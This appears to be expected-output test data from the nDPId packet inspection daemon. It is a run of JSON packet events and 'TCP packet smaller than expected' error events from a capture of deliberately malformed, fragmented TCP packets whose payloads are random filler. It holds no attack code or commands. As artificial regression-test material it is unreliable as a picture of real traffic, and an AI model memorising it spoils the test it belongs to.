-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346378} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346406} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346419} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346431} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346445} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346483} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346498} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346506} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346514} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346521} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346532} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346543} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346551} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346559} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346568} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346578} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346596} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346606} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346613} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346621} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346635} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346642} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346650} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346659} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346666} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346686} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346700} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346711} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346718} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346730} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346740} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346761} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":3837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346772} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346784} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346794} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346802} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346813} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346823} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346830} 